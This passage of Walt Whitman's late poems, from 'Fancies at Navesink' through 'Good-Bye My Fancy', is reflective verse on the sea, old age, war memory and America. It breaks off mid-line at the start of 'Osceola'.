indolent-ripe on the tree, +Then for the teeming quietest, happiest days of all! +The brooding and blissful halcyon days! + + + +[FANCIES AT NAVESINK] + +}[I] The Pilot in the Mist + +Steaming the northern rapids--(an old St. Lawrence reminiscence, +A sudden memory-flash comes back, I know not why, +Here waiting for the sunrise, gazing from this hill;) +Again 'tis just at morning--a heavy haze contends with daybreak, +Again the trembling, laboring vessel veers me--I press through + foam-dash'd rocks that almost touch me, +Again I mark where aft the small thin Indian helmsman +Looms in the mist, with brow elate and governing hand. + + + +}[II] Had I the Choice + +Had I the choice to tally greatest bards, +To limn their portraits, stately, beautiful, and emulate at will, +Homer with all his wars and warriors--Hector, Achilles, Ajax, +Or Shakspere's woe-entangled Hamlet, Lear, Othello--Tennyson's fair ladies, +Metre or wit the best, or choice conceit to wield in perfect rhyme, + delight of singers; +These, these, O sea, all these I'd gladly barter, +Would you the undulation of one wave, its trick to me transfer, +Or breathe one breath of yours upon my verse, +And leave its odor there. + + + +}[III] You Tides with Ceaseless Swell + +You tides with ceaseless swell! you power that does this work! +You unseen force, centripetal, centrifugal, through space's spread, +Rapport of sun, moon, earth, and all the constellations, +What are the messages by you from distant stars to us? what Sirius'? + what Capella's? +What central heart--and you the pulse--vivifies all? what boundless + aggregate of all? +What subtle indirection and significance in you? what clue to all in + you? what fluid, vast identity, +Holding the universe with all its parts as one--as sailing in a ship? + + + +}[IV] Last of Ebb, and Daylight Waning + +Last of ebb, and daylight waning, +Scented sea-cool landward making, smells of sedge and salt incoming, +With many a half-caught voice sent up from the eddies, +Many a muffled confession--many a sob and whisper'd word, +As of speakers far or hid. + +How they sweep down and out! how they mutter! +Poets unnamed--artists greatest of any, with cherish'd lost designs, +Love's unresponse--a chorus of age's complaints--hope's last words, +Some suicide's despairing cry, Away to the boundless waste, and + never again return. + +On to oblivion then! +On, on, and do your part, ye burying, ebbing tide! +On for your time, ye furious debouche! + + + +}[V] And Yet Not You Alone + +And yet not you alone, twilight and burying ebb, +Nor you, ye lost designs alone--nor failures, aspirations; +I know, divine deceitful ones, your glamour's seeming; +Duly by you, from you, the tide and light again--duly the hinges turning, +Duly the needed discord-parts offsetting, blending, +Weaving from you, from Sleep, Night, Death itself, +The rhythmus of Birth eternal. + + + +}[VI] Proudly the Flood Comes In + +Proudly the flood comes in, shouting, foaming, advancing, +Long it holds at the high, with bosom broad outswelling, +All throbs, dilates--the farms, woods, streets of cities--workmen at work, +Mainsails, topsails, jibs, appear in the offing--steamers' pennants + of smoke--and under the forenoon sun, +Freighted with human lives, gaily the outward bound, gaily the + inward bound, +Flaunting from many a spar the flag I love. + + + +}[VII] By That Long Scan of Waves + +By that long scan of waves, myself call'd back, resumed upon myself, +In every crest some undulating light or shade--some retrospect, +Joys, travels, studies, silent panoramas--scenes ephemeral, +The long past war, the battles, hospital sights, the wounded and the dead, +Myself through every by-gone phase--my idle youth--old age at hand, +My three-score years of life summ'd up, and more, and past, +By any grand ideal tried, intentionless, the whole a nothing, +And haply yet some drop within God's scheme's ensemble--some + wave, or part of wave, +Like one of yours, ye multitudinous ocean. + + + +}[VIII] Then Last Of All + +Then last of all, caught from these shores, this hill, +Of you O tides, the mystic human meaning: +Only by law of you, your swell and ebb, enclosing me the same, +The brain that shapes, the voice that chants this song. + + + +} Election Day, November, 1884 + +If I should need to name, O Western World, your powerfulest scene and show, +'Twould not be you, Niagara--nor you, ye limitless prairies--nor + your huge rifts of canyons, Colorado, +Nor you, Yosemite--nor Yellowstone, with all its spasmic + geyser-loops ascending to the skies, appearing and disappearing, +Nor Oregon's white cones--nor Huron's belt of mighty lakes--nor + Mississippi's stream: +--This seething hemisphere's humanity, as now, I'd name--the still + small voice vibrating--America's choosing day, +(The heart of it not in the chosen--the act itself the main, the + quadriennial choosing,) +The stretch of North and South arous'd--sea-board and inland-- + Texas to Maine--the Prairie States--Vermont, Virginia, California, +The final ballot-shower from East to West--the paradox and conflict, +The countless snow-flakes falling--(a swordless conflict, +Yet more than all Rome's wars of old, or modern Napoleon's:) the + peaceful choice of all, +Or good or ill humanity--welcoming the darker odds, the dross: +--Foams and ferments the wine? it serves to purify--while the heart + pants, life glows: +These stormy gusts and winds waft precious ships, +Swell'd Washington's, Jefferson's, Lincoln's sails. + + + +} With Husky-Haughty Lips, O Sea! + +With husky-haughty lips, O sea! +Where day and night I wend thy surf-beat shore, +Imaging to my sense thy varied strange suggestions, +(I see and plainly list thy talk and conference here,) +Thy troops of white-maned racers racing to the goal, +Thy ample, smiling face, dash'd with the sparkling dimples of the sun, +Thy brooding scowl and murk--thy unloos'd hurricanes, +Thy unsubduedness, caprices, wilfulness; +Great as thou art above the rest, thy many tears--a lack from all + eternity in thy content, +(Naught but the greatest struggles, wrongs, defeats, could make thee + greatest--no less could make thee,) +Thy lonely state--something thou ever seek'st and seek'st, yet + never gain'st, +Surely some right withheld--some voice, in huge monotonous rage, of + freedom-lover pent, +Some vast heart, like a planet's, chain'd and chafing in those breakers, +By lengthen'd swell, and spasm, and panting breath, +And rhythmic rasping of thy sands and waves, +And serpent hiss, and savage peals of laughter, +And undertones of distant lion roar, +(Sounding, appealing to the sky's deaf ear--but now, rapport for once, +A phantom in the night thy confidant for once,) +The first and last confession of the globe, +Outsurging, muttering from thy soul's abysms, +The tale of cosmic elemental passion, +Thou tellest to a kindred soul. + + + +} Death of General Grant + +As one by one withdraw the lofty actors, +From that great play on history's stage eterne, +That lurid, partial act of war and peace--of old and new contending, +Fought out through wrath, fears, dark dismays, and many a long suspense; +All past--and since, in countless graves receding, mellowing, +Victor's and vanquish'd--Lincoln's and Lee's--now thou with them, +Man of the mighty days--and equal to the days! +Thou from the prairies!--tangled and many-vein'd and hard has been thy part, +To admiration has it been enacted! + + + +} Red Jacket (From Aloft) + +Upon this scene, this show, +Yielded to-day by fashion, learning, wealth, +(Nor in caprice alone--some grains of deepest meaning,) +Haply, aloft, (who knows?) from distant sky-clouds' blended shapes, +As some old tree, or rock or cliff, thrill'd with its soul, +Product of Nature's sun, stars, earth direct--a towering human form, +In hunting-shirt of film, arm'd with the rifle, a half-ironical + smile curving its phantom lips, +Like one of Ossian's ghosts looks down. + + + +} Washington's Monument February, 1885 + +Ah, not this marble, dead and cold: +Far from its base and shaft expanding--the round zones circling, + comprehending, +Thou, Washington, art all the world's, the continents' entire--not + yours alone, America, +Europe's as well, in every part, castle of lord or laborer's cot, +Or frozen North, or sultry South--the African's--the Arab's in his tent, +Old Asia's there with venerable smile, seated amid her ruins; +(Greets the antique the hero new? 'tis but the same--the heir + legitimate, continued ever, +The indomitable heart and arm--proofs of the never-broken line, +Courage, alertness, patience, faith, the same--e'en in defeat + defeated not, the same:) +Wherever sails a ship, or house is built on land, or day or night, +Through teeming cities' streets, indoors or out, factories or farms, +Now, or to come, or past--where patriot wills existed or exist, +Wherever Freedom, pois'd by Toleration, sway'd by Law, +Stands or is rising thy true monument. + + + +} Of That Blithe Throat of Thine + +Of that blithe throat of thine from arctic bleak and blank, +I'll mind the lesson, solitary bird--let me too welcome chilling drifts, +E'en the profoundest chill, as now--a torpid pulse, a brain unnerv'd, +Old age land-lock'd within its winter bay--(cold, cold, O cold!) +These snowy hairs, my feeble arm, my frozen feet, +For them thy faith, thy rule I take, and grave it to the last; +Not summer's zones alone--not chants of youth, or south's warm tides alone, +But held by sluggish floes, pack'd in the northern ice, the cumulus + of years, +These with gay heart I also sing. + + + +} Broadway + +What hurrying human tides, or day or night! +What passions, winnings, losses, ardors, swim thy waters! +What whirls of evil, bliss and sorrow, stem thee! +What curious questioning glances--glints of love! +Leer, envy, scorn, contempt, hope, aspiration! +Thou portal--thou arena--thou of the myriad long-drawn lines and groups! +(Could but thy flagstones, curbs, facades, tell their inimitable tales; +Thy windows rich, and huge hotels--thy side-walks wide;) +Thou of the endless sliding, mincing, shuffling feet! +Thou, like the parti-colored world itself--like infinite, teeming, + mocking life! +Thou visor'd, vast, unspeakable show and lesson! + + + +} To Get the Final Lilt of Songs + +To get the final lilt of songs, +To penetrate the inmost lore of poets--to know the mighty ones, +Job, Homer, Eschylus, Dante, Shakespere, Tennyson, Emerson; +To diagnose the shifting-delicate tints of love and pride and doubt-- + to truly understand, +To encompass these, the last keen faculty and entrance-price, +Old age, and what it brings from all its past experiences. + + + +} Old Salt Kossabone + +Far back, related on my mother's side, +Old Salt Kossabone, I'll tell you how he died: +(Had been a sailor all his life--was nearly 90--lived with his + married grandchild, Jenny; +House on a hill, with view of bay at hand, and distant cape, and + stretch to open sea;) +The last of afternoons, the evening hours, for many a year his + regular custom, +In his great arm chair by the window seated, +(Sometimes, indeed, through half the day,) +Watching the coming, going of the vessels, he mutters to himself-- + And now the close of all: +One struggling outbound brig, one day, baffled for long--cross-tides + and much wrong going, +At last at nightfall strikes the breeze aright, her whole luck veering, +And swiftly bending round the cape, the darkness proudly entering, + cleaving, as he watches, +"She's free--she's on her destination"--these the last words--when + Jenny came, he sat there dead, +Dutch Kossabone, Old Salt, related on my mother's side, far back. + + + +} The Dead Tenor + +As down the stage again, +With Spanish hat and plumes, and gait inimitable, +Back from the fading lessons of the past, I'd call, I'd tell and own, +How much from thee! the revelation of the singing voice from thee! +(So firm--so liquid-soft--again that tremulous, manly timbre! +The perfect singing voice--deepest of all to me the lesson--trial + and test of all:) +How through those strains distill'd--how the rapt ears, the soul of + me, absorbing +Fernando's heart, Manrico's passionate call, Ernani's, sweet Gennaro's, +I fold thenceforth, or seek to fold, within my chants transmuting, +Freedom's and Love's and Faith's unloos'd cantabile, +(As perfume's, color's, sunlight's correlation:) +From these, for these, with these, a hurried line, dead tenor, +A wafted autumn leaf, dropt in the closing grave, the shovel'd earth, +To memory of thee. + + + +} Continuities + +Nothing is ever really lost, or can be lost, +No birth, identity, form--no object of the world. +Nor life, nor force, nor any visible thing; +Appearance must not foil, nor shifted sphere confuse thy brain. +Ample are time and space--ample the fields of Nature. +The body, sluggish, aged, cold--the embers left from earlier fires, +The light in the eye grown dim, shall duly flame again; +The sun now low in the west rises for mornings and for noons continual; +To frozen clods ever the spring's invisible law returns, +With grass and flowers and summer fruits and corn. + + + +} Yonnondio + +A song, a poem of itself--the word itself a dirge, +Amid the wilds, the rocks, the storm and wintry night, +To me such misty, strange tableaux the syllables calling up; +Yonnondio--I see, far in the west or north, a limitless ravine, with + plains and mountains dark, +I see swarms of stalwart chieftains, medicine-men, and warriors, +As flitting by like clouds of ghosts, they pass and are gone in the + twilight, +(Race of the woods, the landscapes free, and the falls! +No picture, poem, statement, passing them to the future:) +Yonnondio! Yonnondio!--unlimn'd they disappear; +To-day gives place, and fades--the cities, farms, factories fade; +A muffled sonorous sound, a wailing word is borne through the air + for a moment, +Then blank and gone and still, and utterly lost. + + + +} Life + +Ever the undiscouraged, resolute, struggling soul of man; +(Have former armies fail'd? then we send fresh armies--and fresh again;) +Ever the grappled mystery of all earth's ages old or new; +Ever the eager eyes, hurrahs, the welcome-clapping hands, the loud + applause; +Ever the soul dissatisfied, curious, unconvinced at last; +Struggling to-day the same--battling the same. + + + +} "Going Somewhere" + +My science-friend, my noblest woman-friend, +(Now buried in an English grave--and this a memory-leaf for her dear sake,) +Ended our talk--"The sum, concluding all we know of old or modern + learning, intuitions deep, +"Of all Geologies--Histories--of all Astronomy--of Evolution, + Metaphysics all, +"Is, that we all are onward, onward, speeding slowly, surely bettering, +"Life, life an endless march, an endless army, (no halt, but it is + duly over,) +"The world, the race, the soul--in space and time the universes, +"All bound as is befitting each--all surely going somewhere." + + + +} Small the Theme of My Chant + +Small the theme of my Chant, yet the greatest--namely, One's-Self-- + a simple, separate person. That, for the use of the New World, I sing. +Man's physiology complete, from top to toe, I sing. Not physiognomy alone, + nor brain alone, is worthy for the Muse;--I say the Form complete + is worthier far. The Female equally with the Male, I sing. +Nor cease at the theme of One's-Self. I speak the word of the + modern, the word En-Masse. +My Days I sing, and the Lands--with interstice I knew of hapless War. +(O friend, whoe'er you are, at last arriving hither to commence, I + feel through every leaf the pressure of your hand, which I return. +And thus upon our journey, footing the road, and more than once, and + link'd together let us go.) + + + +} True Conquerors + +Old farmers, travelers, workmen (no matter how crippled or bent,) +Old sailors, out of many a perilous voyage, storm and wreck, +Old soldiers from campaigns, with all their wounds, defeats and scars; +Enough that they've survived at all--long life's unflinching ones! +Forth from their struggles, trials, fights, to have emerged at all-- + in that alone, +True conquerors o'er all the rest. + + + +} The United States to Old World Critics + +Here first the duties of to-day, the lessons of the concrete, +Wealth, order, travel, shelter, products, plenty; +As of the building of some varied, vast, perpetual edifice, +Whence to arise inevitable in time, the towering roofs, the lamps, +The solid-planted spires tall shooting to the stars. + + + +} The Calming Thought of All + +That coursing on, whate'er men's speculations, +Amid the changing schools, theologies, philosophies, +Amid the bawling presentations new and old, +The round earth's silent vital laws, facts, modes continue. + + + +} Thanks in Old Age + +Thanks in old age--thanks ere I go, +For health, the midday sun, the impalpable air--for life, mere life, +For precious ever-lingering memories, (of you my mother dear--you, + father--you, brothers, sisters, friends,) +For all my days--not those of peace alone--the days of war the same, +For gentle words, caresses, gifts from foreign lands, +For shelter, wine and meat--for sweet appreciation, +(You distant, dim unknown--or young or old--countless, unspecified, + readers belov'd, +We never met, and neer shall meet--and yet our souls embrace, long, + close and long;) +For beings, groups, love, deeds, words, books--for colors, forms, +For all the brave strong men--devoted, hardy men--who've forward + sprung in freedom's help, all years, all lands +For braver, stronger, more devoted men--(a special laurel ere I go, + to life's war's chosen ones, +The cannoneers of song and thought--the great artillerists--the + foremost leaders, captains of the soul:) +As soldier from an ended war return'd--As traveler out of myriads, + to the long procession retrospective, +Thanks--joyful thanks!--a soldier's, traveler's thanks. + + + +} Life and Death + +The two old, simple problems ever intertwined, +Close home, elusive, present, baffled, grappled. +By each successive age insoluble, pass'd on, +To ours to-day--and we pass on the same. + + + +} The Voice of the Rain + +And who art thou? said I to the soft-falling shower, +Which, strange to tell, gave me an answer, as here translated: +I am the Poem of Earth, said the voice of the rain, +Eternal I rise impalpable out of the land and the bottomless sea, +Upward to heaven, whence, vaguely form'd, altogether changed, and + yet the same, +I descend to lave the drouths, atomies, dust-layers of the globe, +And all that in them without me were seeds only, latent, unborn; +And forever, by day and night, I give back life to my own origin, + and make pure and beautify it; +(For song, issuing from its birth-place, after fulfilment, wandering, +Reck'd or unreck'd, duly with love returns.) + + + +} Soon Shall the Winter's Foil Be Here + +Soon shall the winter's foil be here; +Soon shall these icy ligatures unbind and melt--A little while, +And air, soil, wave, suffused shall be in softness, bloom and + growth--a thousand forms shall rise +From these dead clods and chills as from low burial graves. + +Thine eyes, ears--all thy best attributes--all that takes cognizance + of natural beauty, +Shall wake and fill. Thou shalt perceive the simple shows, the + delicate miracles of earth, +Dandelions, clover, the emerald grass, the early scents and flowers, +The arbutus under foot, the willow's yellow-green, the blossoming + plum and cherry; +With these the robin, lark and thrush, singing their songs--the + flitting bluebird; +For such the scenes the annual play brings on. + + + +} While Not the Past Forgetting + +While not the past forgetting, +To-day, at least, contention sunk entire--peace, brotherhood uprisen; +For sign reciprocal our Northern, Southern hands, +Lay on the graves of all dead soldiers, North or South, +(Nor for the past alone--for meanings to the future,) +Wreaths of roses and branches of palm. + + + +} The Dying Veteran + +Amid these days of order, ease, prosperity, +Amid the current songs of beauty, peace, decorum, +I cast a reminiscence--(likely 'twill offend you, +I heard it in my boyhood;)--More than a generation since, +A queer old savage man, a fighter under Washington himself, +(Large, brave, cleanly, hot-blooded, no talker, rather spiritualistic, +Had fought in the ranks--fought well--had been all through the + Revolutionary war,) +Lay dying--sons, daughters, church-deacons, lovingly tending him, +Sharping their sense, their ears, towards his murmuring, half-caught words: +"Let me return again to my war-days, +To the sights and scenes--to forming the line of battle, +To the scouts ahead reconnoitering, +To the cannons, the grim artillery, +To the galloping aides, carrying orders, +To the wounded, the fallen, the heat, the suspense, +The perfume strong, the smoke, the deafening noise; +Away with your life of peace!--your joys of peace! +Give me my old wild battle-life again!" + + + +} Stronger Lessons + +Have you learn'd lessons only of those who admired you, and were + tender with you, and stood aside for you? +Have you not learn'd great lessons from those who reject you, and + brace themselves against you? or who treat you with contempt, + or dispute the passage with you? + + + +} A Prairie Sunset + +Shot gold, maroon and violet, dazzling silver, emerald, fawn, +The earth's whole amplitude and Nature's multiform power consign'd + for once to colors; +The light, the general air possess'd by them--colors till now unknown, +No limit, confine--not the Western sky alone--the high meridian-- + North, South, all, +Pure luminous color fighting the silent shadows to the last. + + + +} Twenty Years + +Down on the ancient wharf, the sand, I sit, with a new-comer chatting: +He shipp'd as green-hand boy, and sail'd away, (took some sudden, + vehement notion;) +Since, twenty years and more have circled round and round, +While he the globe was circling round and round, --and now returns: +How changed the place--all the old land-marks gone--the parents dead; +(Yes, he comes back to lay in port for good--to settle--has a + well-fill'd purse--no spot will do but this;) +The little boat that scull'd him from the sloop, now held in leash I see, +I hear the slapping waves, the restless keel, the rocking in the sand, +I see the sailor kit, the canvas bag, the great box bound with brass, +I scan the face all berry-brown and bearded--the stout-strong frame, +Dress'd in its russet suit of good Scotch cloth: +(Then what the told-out story of those twenty years? What of the future?) + + + +} Orange Buds by Mail from Florida + +A lesser proof than old Voltaire's, yet greater, +Proof of this present time, and thee, thy broad expanse, America, +To my plain Northern hut, in outside clouds and snow, +Brought safely for a thousand miles o'er land and tide, +Some three days since on their own soil live-sprouting, +Now here their sweetness through my room unfolding, +A bunch of orange buds by mall from Florida. + + + +} Twilight + +The soft voluptuous opiate shades, +The sun just gone, the eager light dispell'd--(I too will soon be + gone, dispell'd,) +A haze--nirwana--rest and night--oblivion. + + + +} You Lingering Sparse Leaves of Me + +You lingering sparse leaves of me on winter-nearing boughs, +And I some well-shorn tree of field or orchard-row; +You tokens diminute and lorn--(not now the flush of May, or July + clover-bloom--no grain of August now;) +You pallid banner-staves--you pennants valueless--you overstay'd of time, +Yet my soul-dearest leaves confirming all the rest, +The faithfulest--hardiest--last. + + + +} Not Meagre, Latent Boughs Alone + +Not meagre, latent boughs alone, O songs! (scaly and bare, like + eagles' talons,) +But haply for some sunny day (who knows?) some future spring, some + summer--bursting forth, +To verdant leaves, or sheltering shade--to nourishing fruit, +Apples and grapes--the stalwart limbs of trees emerging--the fresh, + free, open air, +And love and faith, like scented roses blooming. + + + +} The Dead Emperor + +To-day, with bending head and eyes, thou, too, Columbia, +Less for the mighty crown laid low in sorrow--less for the Emperor, +Thy true condolence breathest, sendest out o'er many a salt sea mile, +Mourning a good old man--a faithful shepherd, patriot. + + + +} As the Greek's Signal Flame + +As the Greek's signal flame, by antique records told, +Rose from the hill-top, like applause and glory, +Welcoming in fame some special veteran, hero, +With rosy tinge reddening the land he'd served, +So I aloft from Mannahatta's ship-fringed shore, +Lift high a kindled brand for thee, Old Poet. + + + +} The Dismantled Ship + +In some unused lagoon, some nameless bay, +On sluggish, lonesome waters, anchor'd near the shore, +An old, dismasted, gray and batter'd ship, disabled, done, +After free voyages to all the seas of earth, haul'd up at last and + hawser'd tight, +Lies rusting, mouldering. + + + +} Now Precedent Songs, Farewell + +Now precedent songs, farewell--by every name farewell, +(Trains of a staggering line in many a strange procession, waggons, +From ups and downs--with intervals--from elder years, mid-age, or youth,) +"In Cabin'd Ships, or Thee Old Cause or Poets to Come +Or Paumanok, Song of Myself, Calamus, or Adam, +Or Beat! Beat! Drums! or To the Leaven'd Soil they Trod, +Or Captain! My Captain! Kosmos, Quicksand Years, or Thoughts, +Thou Mother with thy Equal Brood," and many, many more unspecified, +From fibre heart of mine--from throat and tongue--(My life's hot + pulsing blood, +The personal urge and form for me--not merely paper, automatic type + and ink,) +Each song of mine--each utterance in the past--having its long, long + history, +Of life or death, or soldier's wound, of country's loss or safety, +(O heaven! what flash and started endless train of all! compared + indeed to that! +What wretched shred e'en at the best of all!) + + + +} An Evening Lull + +After a week of physical anguish, +Unrest and pain, and feverish heat, +Toward the ending day a calm and lull comes on, +Three hours of peace and soothing rest of brain. + + + +} Old Age's Lambent Peaks + +The touch of flame--the illuminating fire--the loftiest look at last, +O'er city, passion, sea--o'er prairie, mountain, wood--the earth itself, +The airy, different, changing hues of all, in failing twilight, +Objects and groups, bearings, faces, reminiscences; +The calmer sight--the golden setting, clear and broad: +So much i' the atmosphere, the points of view, the situations whence + we scan, +Bro't out by them alone--so much (perhaps the best) unreck'd before; +The lights indeed from them--old age's lambent peaks. + + + +} After the Supper and Talk + +After the supper and talk--after the day is done, +As a friend from friends his final withdrawal prolonging, +Good-bye and Good-bye with emotional lips repeating, +(So hard for his hand to release those hands--no more will they meet, +No more for communion of sorrow and joy, of old and young, +A far-stretching journey awaits him, to return no more,) +Shunning, postponing severance--seeking to ward off the last word + ever so little, +E'en at the exit-door turning--charges superfluous calling back-- + e'en as he descends the steps, +Something to eke out a minute additional--shadows of nightfall deepening, +Farewells, messages lessening--dimmer the forthgoer's visage and form, +Soon to be lost for aye in the darkness--loth, O so loth to depart! +Garrulous to the very last. + + + +[BOOKXXXV. GOOD-BYE MY FANCY] + +} Sail out for Good, Eidolon Yacht! + +Heave the anchor short! +Raise main-sail and jib--steer forth, +O little white-hull'd sloop, now speed on really deep waters, +(I will not call it our concluding voyage, +But outset and sure entrance to the truest, best, maturest;) +Depart, depart from solid earth--no more returning to these shores, +Now on for aye our infinite free venture wending, +Spurning all yet tried ports, seas, hawsers, densities, gravitation, +Sail out for good, eidolon yacht of me! + + + +} Lingering Last Drops + +And whence and why come you? + +We know not whence, (was the answer,) +We only know that we drift here with the rest, +That we linger'd and lagg'd--but were wafted at last, and are now here, +To make the passing shower's concluding drops. + + + +} Good-Bye My Fancy + +Good-bye my fancy--(I had a word to say, +But 'tis not quite the time--The best of any man's word or say, +Is when its proper place arrives--and for its meaning, +I keep mine till the last.) + + + +} On, on the Same, Ye Jocund Twain! + +On, on the same, ye jocund twain! +My life and recitative, containing birth, youth, mid-age years, +Fitful as motley-tongues of flame, inseparably twined and merged in + one--combining all, +My single soul--aims, confirmations, failures, joys--Nor single soul alone, +I chant my nation's crucial stage, (America's, haply humanity's)-- + the trial great, the victory great, +A strange eclaircissement of all the masses past, the eastern world, + the ancient, medieval, +Here, here from wanderings, strayings, lessons, wars, defeats--here + at the west a voice triumphant--justifying all, +A gladsome pealing cry--a song for once of utmost pride and satisfaction; +I chant from it the common bulk, the general average horde, (the + best sooner than the worst)--And now I chant old age, +(My verses, written first for forenoon life, and for the summer's, + autumn's spread, +I pass to snow-white hairs the same, and give to pulses + winter-cool'd the same;) +As here in careless trill, I and my recitatives, with faith and love, +wafting to other work, to unknown songs, conditions, +On, on ye jocund twain! continue on the same! + + + +} MY 71st Year + +After surmounting three-score and ten, +With all their chances, changes, losses, sorrows, +My parents' deaths, the vagaries of my life, the many tearing + passions of me, the war of '63 and '4, +As some old broken soldier, after a long, hot, wearying march, or + haply after battle, +To-day at twilight, hobbling, answering company roll-call, Here, + with vital voice, +Reporting yet, saluting yet the Officer over all. + + + +} Apparitions + +A vague mist hanging 'round half the pages: +(Sometimes how strange and clear to the soul, +That all these solid things are indeed but apparitions, concepts, + non-realities.) + + + +} The Pallid Wreath + +Somehow I cannot let it go yet, funeral though it is, +Let it remain back there on its nail suspended, +With pink, blue, yellow, all blanch'd, and the white now gray and ashy, +One wither'd rose put years ago for thee, dear friend; +But I do not forget thee. Hast thou then faded? +Is the odor exhaled? Are the colors, vitalities, dead? +No, while memories subtly play--the past vivid as ever; +For but last night I woke, and in that spectral ring saw thee, +Thy smile, eyes, face, calm, silent, loving as ever: +So let the wreath hang still awhile within my eye-reach, +It is not yet dead to me, nor even pallid. + + + +} An Ended Day + +The soothing sanity and blitheness of completion, +The pomp and hurried contest-glare and rush are done; +Now triumph! transformation! jubilate! + + + +} Old Age's Ship & Crafty Death's + +From east and west across the horizon's edge, +Two mighty masterful vessels sailers steal upon us: +But we'll make race a-time upon the seas--a battle-contest yet! bear + lively there! +(Our joys of strife and derring-do to the last!) +Put on the old ship all her power to-day! +Crowd top-sail, top-gallant and royal studding-sails, +Out challenge and defiance--flags and flaunting pennants added, +As we take to the open--take to the deepest, freest waters. + + + +} To the Pending Year + +Have I no weapon-word for thee--some message brief and fierce? +(Have I fought out and done indeed the battle?) Is there no shot left, +For all thy affectations, lisps, scorns, manifold silliness? +Nor for myself--my own rebellious self in thee? + +Down, down, proud gorge!--though choking thee; +Thy bearded throat and high-borne forehead to the gutter; +Crouch low thy neck to eleemosynary gifts. + + + +} Shakspere-Bacon's Cipher + +I doubt it not--then more, far more; +In each old song bequeath'd--in every noble page or text, +(Different--something unreck'd before--some unsuspected author,) +In every object, mountain, tree, and star--in every birth and life, +As part of each--evolv'd from each--meaning, behind the ostent, +A mystic cipher waits infolded. + + + +} Long, Long Hence + +After a long, long course, hundreds of years, denials, +Accumulations, rous'd love and joy and thought, +Hopes, wishes, aspirations, ponderings, victories, myriads of readers, +Coating, compassing, covering--after ages' and ages' encrustations, +Then only may these songs reach fruition. + + + +} Bravo, Paris Exposition! + +Add to your show, before you close it, France, +With all the rest, visible, concrete, temples, towers, goods, + machines and ores, +Our sentiment wafted from many million heart-throbs, ethereal but solid, +(We grand-sons and great-grandsons do not forget your grandsires,) +From fifty Nations and nebulous Nations, compacted, sent oversea to-day, +America's applause, love, memories and good-will. + + + +} Interpolation Sounds + +Over and through the burial chant, +Organ and solemn service, sermon, bending priests, +To me come interpolation sounds not in the show--plainly to me, + crowding up the aisle and from the window, +Of sudden battle's hurry and harsh noises--war's grim game to sight + and ear in earnest; +The scout call'd up and forward--the general mounted and his aides + around him--the new-brought word--the instantaneous order issued; +The rifle crack--the cannon thud--the rushing forth of men from their + tents; +The clank of cavalry--the strange celerity of forming ranks--the + slender bugle note; +The sound of horses' hoofs departing--saddles, arms, accoutrements. + + + +} To the Sun-Set Breeze + +Ah, whispering, something again, unseen, +Where late this heated day thou enterest at my window, door, +Thou, laving, tempering all, cool-freshing, gently vitalizing +Me, old, alone, sick, weak-down, melted-worn with sweat; +Thou, nestling, folding close and firm yet soft, companion better + than talk, book, art, +(Thou hast, O Nature! elements! utterance to my heart beyond the + rest--and this is of them,) +So sweet thy primitive taste to breathe within--thy soothing fingers + my face and hands, +Thou, messenger--magical strange bringer to body and spirit of me, +(Distances balk'd--occult medicines penetrating me from head to foot,) +I feel the sky, the prairies vast--I feel the mighty northern lakes, +I feel the ocean and the forest--somehow I feel the globe itself + swift-swimming in space; +Thou blown from lips so loved, now gone--haply from endless store, + God-sent, +(For thou art spiritual, Godly, most of all known to my sense,) +Minister to speak to me, here and now, what word has never told, and + cannot tell, +Art thou not universal concrete's distillation? Law's, all + Astronomy's last refinement? +Hast thou no soul? Can I not know, identify thee? + + + +} Old Chants + +An ancient song, reciting, ending, +Once gazing toward thee, Mother of All, +Musing, seeking themes fitted for thee, +Accept me, thou saidst, the elder ballads, +And name for me before thou goest each ancient poet. + +(Of many debts incalculable, +Haply our New World's chieftest debt is to old poems.) + +Ever so far back, preluding thee, America, +Old chants, Egyptian priests, and those of Ethiopia, +The Hindu epics, the Grecian, Chinese, Persian, +The Biblic books and prophets, and deep idyls of the Nazarene, +The Iliad, Odyssey, plots, doings, wanderings of Eneas, +Hesiod, Eschylus, Sophocles, Merlin, Arthur, +The Cid, Roland at Roncesvalles, the Nibelungen, +The troubadours, minstrels, minnesingers, skalds, +Chaucer, Dante, flocks of singing birds, +The Border Minstrelsy, the bye-gone ballads, feudal tales, essays, plays, +Shakespere, Schiller, Walter Scott, Tennyson, +As some vast wondrous weird dream-presences, +The great shadowy groups gathering around, +Darting their mighty masterful eyes forward at thee, +Thou! with as now thy bending neck and head, with courteous hand + and word, ascending, +Thou! pausing a moment, drooping thine eyes upon them, blent + with their music, +Well pleased, accepting all, curiously prepared for by them, +Thou enterest at thy entrance porch. + + + +} A Christmas Greeting + +Welcome, Brazilian brother--thy ample place is ready; +A loving hand--a smile from the north--a sunny instant hall! +(Let the future care for itself, where it reveals its troubles, + impedimentas, +Ours, ours the present throe, the democratic aim, the acceptance and + the faith;) +To thee to-day our reaching arm, our turning neck--to thee from us + the expectant eye, +Thou cluster free! thou brilliant lustrous one! thou, learning well, +The true lesson of a nation's light in the sky, +(More shining than the Cross, more than the Crown,) +The height to be superb humanity. + + + +} Sounds of the Winter + +Sounds of the winter too, +Sunshine upon the mountains--many a distant strain +From cheery railroad train--from nearer field, barn, house, +The whispering air--even the mute crops, garner'd apples, corn, +Children's and women's tones--rhythm of many a farmer and of flail, +An old man's garrulous lips among the rest, Think not we give out yet, +Forth from these snowy hairs we keep up yet the lilt. + + + +} A Twilight Song + +As I sit in twilight late alone by the flickering oak-flame, +Musing on long-pass'd war-scenes--of the countless buried unknown + soldiers, +Of the vacant names, as unindented air's and sea's--the unreturn'd, +The brief truce after battle, with grim burial-squads, and the + deep-fill'd trenches +Of gather'd from dead all America, North, South, East, West, whence + they came up, +From wooded Maine, New-England's farms, from fertile Pennsylvania, + Illinois, Ohio, +From the measureless West, Virginia, the South, the Carolinas, Texas, +(Even here in my room-shadows and half-lights in the noiseless + flickering flames, +Again I see the stalwart ranks on-filing, rising--I hear the + rhythmic tramp of the armies;) +You million unwrit names all, all--you dark bequest from all the war, +A special verse for you--a flash of duty long neglected--your mystic + roll strangely gather'd here, +Each name recall'd by me from out the darkness and death's ashes, +Henceforth to be, deep, deep within my heart recording, for many + future year, +Your mystic roll entire of unknown names, or North or South, +Embalm'd with love in this twilight song. + + + +} When the Full-Grown Poet Came + +When the full-grown poet came, +Out spake pleased Nature (the round impassive globe, with all its + shows of day and night,) saying, He is mine; +But out spake too the Soul of man, proud, jealous and unreconciled, + Nay he is mine alone; +--Then the full-grown poet stood between the two, and took each + by the hand; +And to-day and ever so stands, as blender, uniter, tightly holding hands, +Which he will never release until he reconciles the two, +And wholly and joyously blends them. + + + +} Osceola + +When his hour for death had come, +He 